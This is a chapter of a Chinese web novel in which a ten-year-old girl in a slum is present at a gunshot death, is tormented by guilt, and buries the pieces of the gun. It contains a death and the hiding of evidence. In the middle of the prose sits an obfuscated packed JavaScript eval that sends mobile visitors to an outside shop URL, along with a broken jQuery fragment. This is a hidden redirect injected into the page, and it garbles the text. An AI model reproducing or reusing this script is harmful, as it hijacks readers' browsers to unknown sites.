杰西卡想起那天热尔西乌来找她的事,正是发生在失踪的前几天,奇妙的直觉让她不自觉联想到一起,但这对塞伊杰不好,她垂下眼眸,说:“抱歉,警官,我不了解。”

    警察点点头,他们其实也不指望能问出点什么,开玩笑,这里是贫民窟,法律的底线一再被打破,一年里的失踪案数不胜数,大多都是那些人干的。

    这次因为是小孩,家里还有点关系,他们才特意出警,至少面上要过得去。

    三个月过去后,几乎没有人再去讨论热尔西乌的生死,他们都默认了悲剧的发生。

    热尔西乌的父母也只能接受现实,他们家里还有好几个孩子要照顾,他们生在这里,就不得不接受无法掌握的命运,不过是夜深人静后的沉默,等到遗忘的那天。

    塞伊杰依旧和阿拉库昂保持稳定的见面频率,她没有去提那晚的事,阿拉库昂也是。

    但她变得更沉默了,之前的火药味变成了难言的腐朽气息,他们扭打在一起的时候,塞伊杰总会想起那晚的枪声,是否有一日她也会无声无息地消失,甚至连警察都没有。

    她会逐渐被忘记,好像从没有出现过,被落在时光的某个角落,只是有时候会被提起,然后放下。

    阿拉库昂察觉到了这种气息,他觉得烦躁,觉得愤怒,他凭什么、怎么敢这样公式化地对待每次的接触,他想要那个鲜活的、会亮着眼睛拼命锤他腰子的塞伊杰。

    他不明白,也不想解释,于是下手越发狠厉,同时不再躲避,他看塞伊杰吃痛的表情,也享受被塞伊杰殴打的瞬间,只有这样他才觉得两个人是真实存在的,塞伊杰是有人情味的。

    于是两个人总是伤痕累累地出来,但这一次换阿拉库昂凝视塞伊杰离开的背影。

    塞伊杰的沉默延续到生活的方方面面,如果是笑也总是假笑,下一秒又不知道在想些什么。

    杰西卡、马科斯、玛丽亚、塞尔吉尼奥等她的亲人和她相熟的人都来劝解过她,只有那个时候她会故作轻松、小小耍宝。

    “没关系啦,我就是到了思考人生的年纪,而且深思的小孩难道不酷吗?我是不是比他们都帅气?”

    他们只好应答:“酷,最酷了。”

    转过身去,塞伊杰的思绪又游荡在外,她在想着什么。

    由于足球是她生命中极大的一部分,通过球风能看出她当下的状态,而塞伊杰在球场上恢复了之前较为友善的一面,同时球技继续提升,于是他们只能归因于塞伊杰说的理由。

    又是三个月过去,正好到了塞伊杰遇见阿拉库昂的那天,10月9日。

    塞伊杰往仓库走的时候,空气就有些不对,像是暴雨来临前充斥着沉闷,暗沉的乌云大团大团地凝聚。

    她加快脚步,至少不要中途被淋成落汤鸡。

    临近仓库,她看到了一些脚印,奇怪的是,它们间距不一,这不像是阿拉库昂的风格。

    阿拉库昂是一个疯子,他有自己的一套逻辑,强迫症属于其中之一,他总是规规整整,甚至脚步间距都保持一致。

    塞伊杰死水般的心情有些波澜,很怪,这很怪。

    等到推开门时,这样怪异的情绪达到了顶峰。

    阿拉库昂竟然坐在地上?他有洁癖,是一个至少要坐在足球上的人,这样堪称狼狈的坐姿更加动荡塞伊杰的内心。

    远处的阿拉库昂靠着墙壁,抬起眼皮,看是塞伊杰,声音有些沙哑,说:“塞伊杰……过来……”

    他的声音很弱,如果不是塞伊杰耳朵足够好使都听不见。

    他招招手,很是缓慢或者说勉强。

    塞伊杰抱着警惕的心走过去,手揣在口袋里握紧。

    “过来,再过来点。”阿拉库昂捂着自己的腹部,微微抬起头,这个时候他也不想示弱。

    大概距离阿拉库昂两米的距离,塞伊杰终于看清楚了,即便她刚才就隐约闻到。

    血染红了他的手掌,他捂住的地方甚至还在不断往外流鲜艳的血液,还有他的腿上,也有一个窟窿。

    一道闪电划过,照亮了阿拉库昂失血的面色,那是一种塞伊杰从没有见过的虚弱,他不再是那个高高在上、一手遮天的暴徒,而是一个需要治疗、需要安慰的普通人。

    各种繁杂的波动涌上心头,塞伊杰停在原地,她露出了震惊、奇怪以及惊喜的表情。

    她有转身就跑的冲动,但她努力压制着,就像往常一样。

    阿拉库昂一直在注视塞伊杰,他敏锐地察觉到了塞伊杰全部的情绪,或许他也足够了解塞伊杰。

    虽然早早料到这一时刻,但阿拉库昂还是不免浮现出苦涩的微笑,他左手上拿着一把手枪,抬起来指向塞伊杰。

    “走过来,到我身边。”他停顿一下,补充:“塞伊杰。”

    塞伊杰一直把手踹在兜里,她小心地走过去,咬牙到他身边。

    她不知道阿拉库昂想要干什么,就猜测莫不是他要活不成了,所以要拉着我陪葬?肯定是这样。

    但她不能死,她的手再次握紧。

    阿拉库昂注意到塞伊杰的右手,叹一口气说:“把你的右手伸出来,塞伊杰,没关系的。”

    塞伊杰怪异地看着他,竟然从他的语气中听出了……委屈和无奈?

    她手臂上的肌肉发力,片刻后还是伸了出来,她也不知道自己当时是怎么想的,只觉得没有看出阿拉库昂要伤害她的苗头。

    阿拉库昂轻轻咳嗽两声,脸色更加苍白,“来,塞伊杰,把手交给我。”

    塞伊杰僵硬地把右手递过去,像是在提交一个物品,她抿着唇,还是一副防御的姿态。

    阿拉库昂将捂着伤口的手放下,深吸一口气,两只手开始摆弄塞伊杰的右手。

    塞伊杰的注意力放在那个椭圆形的伤口上,猜测是枪伤,周围有黑色的火药颗粒,看起来很是可怖。

    等到反应过来时,还是阿拉库昂拍了拍她的手。

    塞伊杰瞪大双眼,做梦一般看着眼前的场景,怀疑自己是不是吃错药了,不然怎么会出现幻觉呢?

    “你……”这是塞伊杰来后第一次出声,她张嘴,竟然不知道该说些什么。

    阿拉库昂将手枪放在了塞伊杰的掌控之中,而他的两只手的拇指按在塞伊杰的食指上,其他的部分向上摸着塞伊杰的手背和掌心。

    他微微一用力,在塞伊杰颤抖的手指下,将塞伊杰拉得更近一点,也让手枪更靠近他。

    多么美丽的蓝眼睛啊,真好啊,还在走之前能再看看天空的样子。阿拉库昂的头脑已经开始昏沉,很多记忆开始循环播放。

    回忆被他强忍着刹住车,他按住塞伊杰颤抖的手,这是他第一次和他认真地相握,尽管是他偷来的,但就允许他多握一会吧。

    阿拉库昂的眼睛一寸寸扫过塞伊杰的眉眼,他微微一顿,塞伊杰的眼里只有害怕。

    就这样吧,就这样吧,就让这场闹剧快点结束吧。

    塞伊杰不知道阿拉库昂眼里复杂的情绪是什么,但她觉得浑身难受,如果她好久没洗澡了,也请不要这么看她。

    然后,阿拉库昂俯身在她耳边,头几乎要垂在她的肩膀上,虚弱而坚定的声音传进她的耳朵,而塞伊杰的脑海里形成了巨大的疑惑,她怀疑自己是不是忘记葡萄牙语怎么说了。

    因为阿拉库昂说:

    “塞伊杰。”

    “快跑吧。”

    “我的小杀人犯。”

    “千万不要被抓住。”

    说完,阿拉库昂的拇指发力,既像是要摁下去,也像是要转过去对准她。

    那一刻迟到的雷声轰然而至,盖过了这声枪响,也盖过了阿拉库昂最后的口语。

    塞伊杰眼睁睁地看着阿拉库昂的胸口多出一个大洞,表面的皮肤在高温下卷曲,宛若一朵盛开的黑色玫瑰。

    阿拉库昂的手像是被抽去了灵魂,最后摸着塞伊杰的手掉落在地上,他的眼睛开始涣散,塞伊杰的身体出现了重影,那对梨涡永远停留在此刻。

    喷出的血液溅了塞伊杰一身,她的眼前是一片血色,握着枪的右手,血从指甲缝往里钻,滴滴答答落下。

    塞伊杰呆住,理智的琴弦刹那间崩断。

    发生了什么?阿拉库昂疯了吗?还是我疯了?

    是我扣动了扳机吗?不不不,是阿拉库昂用力的,他按了我的食指。

    对,是这样的,应该是这样的。

    那一瞬间发生的太快,塞伊杰怎么也想不起来雷声响起时发生了什么,记忆完全扭曲和碎裂,两种版本依次上演,她回过神来的时候阿拉库昂已经这样了。

    巨大的刺激逼迫她选择性忘记,跳动的理智怦然归零,开枪时的后坐力让她向后退,塞伊杰几乎喘不上来气,手抖着要将手枪扔掉。

    不,不行,上面有我的指纹。

    塞伊杰的理智回归一瞬,眼前的景象却差点要再次将她逼疯,阿拉库昂的头朝一边歪垂,靠近胸口的枪伤仍在往外喷血,他笑着露出堪称幸福的表情,塞伊杰不明白他为什么在笑。

    她指尖不停敲击额头,一边摇头嘴上嘟囔着“不不不不不”,一边僵硬地握着手枪向外跑,她只想离开,离开这里。

    离开这里就能忘记发生过的一切,忘记雷声遮掩下她记不起来的真相。

    外面正下着磅礴大雨,塞伊杰一出去就被淋湿,枪声、雷声交替在耳边响起,像是一首难听的管弦乐曲,让她眼前的一切模糊旋转。

    她不敢回家,漫无目的地在雨中像疯子一样奔跑,忽然一个砖石间的缝隙将她绊倒,手枪从手中脱落,摔在前方。

    “杀人犯”“杀人犯”“杀人犯”……

    阿拉库昂的话好像被录音机录了下来,吱吱呀呀响个不停,那个神态、那个语气好像在她面前一次又一次上演。

    “滚滚滚!”塞伊杰痛苦地嘶吼,她颤抖着打自己的脑袋,但这根本没有用,整个世界都在重复这句话。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877894|212412||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    丰沛的雨水将她浇透,沿着一缕缕发丝流下,这不像是雨,像是一柄柄宝剑从天上坠落击穿她,将她钉在这里。

    难道真的是我干的?是我杀了他?是我的手先动的?

    不,我怎么可能呢?我不能杀人,杀人是犯法的,我不可以是罪犯,我不能成为亡命之徒。杀人……她怎么可能杀人?她不可以杀人,她不敢的她不敢的……可为什么,记忆的最后好像是她扣动了扳机,为什么?为什么她身上涂满了血,都是阿拉库昂的血。

    到底怎么回事……到底怎么回事……

    一张网罩住了她,她不得已总是去想当时的场景,疯狂地捶打自己的头,但没有答案,一会记忆是阿拉库昂的手指没有用力,她不自觉地按了下去,一会是阿拉库昂强硬地压住她。

    塞伊杰精神完全混乱成一团毛线,她的思维不断跳跃,一会“我没有,明明是他”,一会“不,我想起来了是我”。

    两个小人从推搡演变成刀剑相向,毫不留情地刺穿塞伊杰的理智,把她的脑子当做一盘菜炒来炒去,塞伊杰无法反抗,承受全部无情的指责。

    她感觉自己的心被揉成了一团,那声枪响击穿的不是阿拉库昂而是她。

    魔鬼一直在她的心上盘旋说:“你难道没有想过摆脱这个人吗?你忘记了热尔西乌死时,你做了什么了吗?你做的出来的不是吗?不要反抗了,承认吧,承认你是个杀人犯,你和阿拉库昂一样,都是罪犯,都向死亡献上了灵魂。来吧,孩子,和我去地狱,去忏悔。”

    这样的折磨不知道持续了多久,直到塞伊杰已经没有力气去思考,泪水与雨水混为一体,砸在地上,她跪地蜷缩在那,迟迟不敢抬头,前面是被冲刷干净的枪。

    它干净却是罪恶的象征。

    雷声轰鸣,闪电的光打在塞伊杰的身上,像是上帝在照耀祂赎罪的信徒。

    塞伊杰的眼前一亮又一亮,雷鸣能短暂终止那个不停歇的声音,可这条路只有她自己能走,只有她自己能将她从地狱里拉出来。

    雨越下越大,冷雨拍打在她身上,钻营她身体的每一个缝隙,唤醒她的理智,远处似乎传来了很多人的声音,是陪伴在她身边的那些人,敲打她的心门。

    塞伊杰从波涛汹涌的大海里向岸边游,每一次的巨浪都要将她淹没,一群鲨鱼虎视眈眈跟在她的身边,口腔、鼻腔里被灌满海水,身体摆动到接近极限,这片海是这样辽阔,辽阔到难以望见港口。

    波涛再一次将她淹没,她感受到头顶的压力,要逼着她低头、放弃,黯淡孤寂的海水里看不见光,是萧瑟的绝望。

    但她更多一次冒出水面,湿漉漉的头发紧贴着她的脸颊,塞伊杰用所有的力气向前游去。

    前面模模糊糊出现了一个岛屿,它很小,小到只有一棵椰子树生长。

    快要沉入海底的身体啊,求你多坚持一会吧,马上就会上岸,我知道这里待不了多久,但请坚信,我会一直游下去,我不会停留,不会徘徊,我会带你回去,回到陆地,回到他们身边。

    波涛在发狂,烦躁得要吞没她,鲨鱼一拥而上,他们要将塞伊杰拖下去,沉入暗无天日的海底。

    但从未屈服的意志先一步将塞伊杰带上了小岛,她四肢并用爬上了岛屿,身上沾满了粗糙的沙子,干渴的喉咙吸吮椰子的汁水,鲨鱼只好围在附近,它们张着血盆大口,只要有机会就撕咬住塞伊杰身体的任何一个部位。

    海水在上涨,过不了多久就会淹没小岛,但至少此刻塞伊杰能休息。

    塞伊杰的意识渐渐回笼,沉蒙的思想觉醒,眼珠开始转动,华光在她脸上跳跃。

    塞伊杰终于扶着地面起身,难得的宁静填满心间,这双美丽的浅蓝色眼睛里重新出现了坚定,当扩散天际的闪电照亮世界,她抬头面对恍若白昼的天际说:“我不会认输的,阿拉库昂,我不会像你想象的那样被困在过往,我会永远和你做抗争,直到它再也伤害不了我。”

    恐怖的雷声轰隆炸响,雷火点燃万物,烬灭之后是新生的曙光。

    塞伊杰张开双臂迎接从天而降的雨点,它们不是宝剑,是生命的起源。

    漫天的大雨抚摸、亲吻她的肌肤,冲刷她身上残存的血液,一切随着斜坡滑下,那个要毁了她的魔鬼离开了她的心。

    塞伊杰弯下腰,将枪捡起来,她脸色平静,再没有因此生出多余的情绪。

    手枪被尽可能拆成几个部分,塞伊杰将它们埋进不同地方的土壤里,每一次挖坑后掩埋她都会跪下亲吻这里的土地。

    大地能包容万物,她宽容地注视这个小孩,愿意接受她的虔诚。

    塞伊杰只留下了一枚子弹,这枚子弹寄托了她的这段过往,等到有一天她彻底放下的时候,她会回来,让它也留在这片土地上。

    十岁的背影是孤寂的,她从黑暗中走出,即便以后有更刻骨的伤害,塞伊杰也不会回头,她永远不会回头看这无尽的凄怆,她只有明日,璀璨的明日。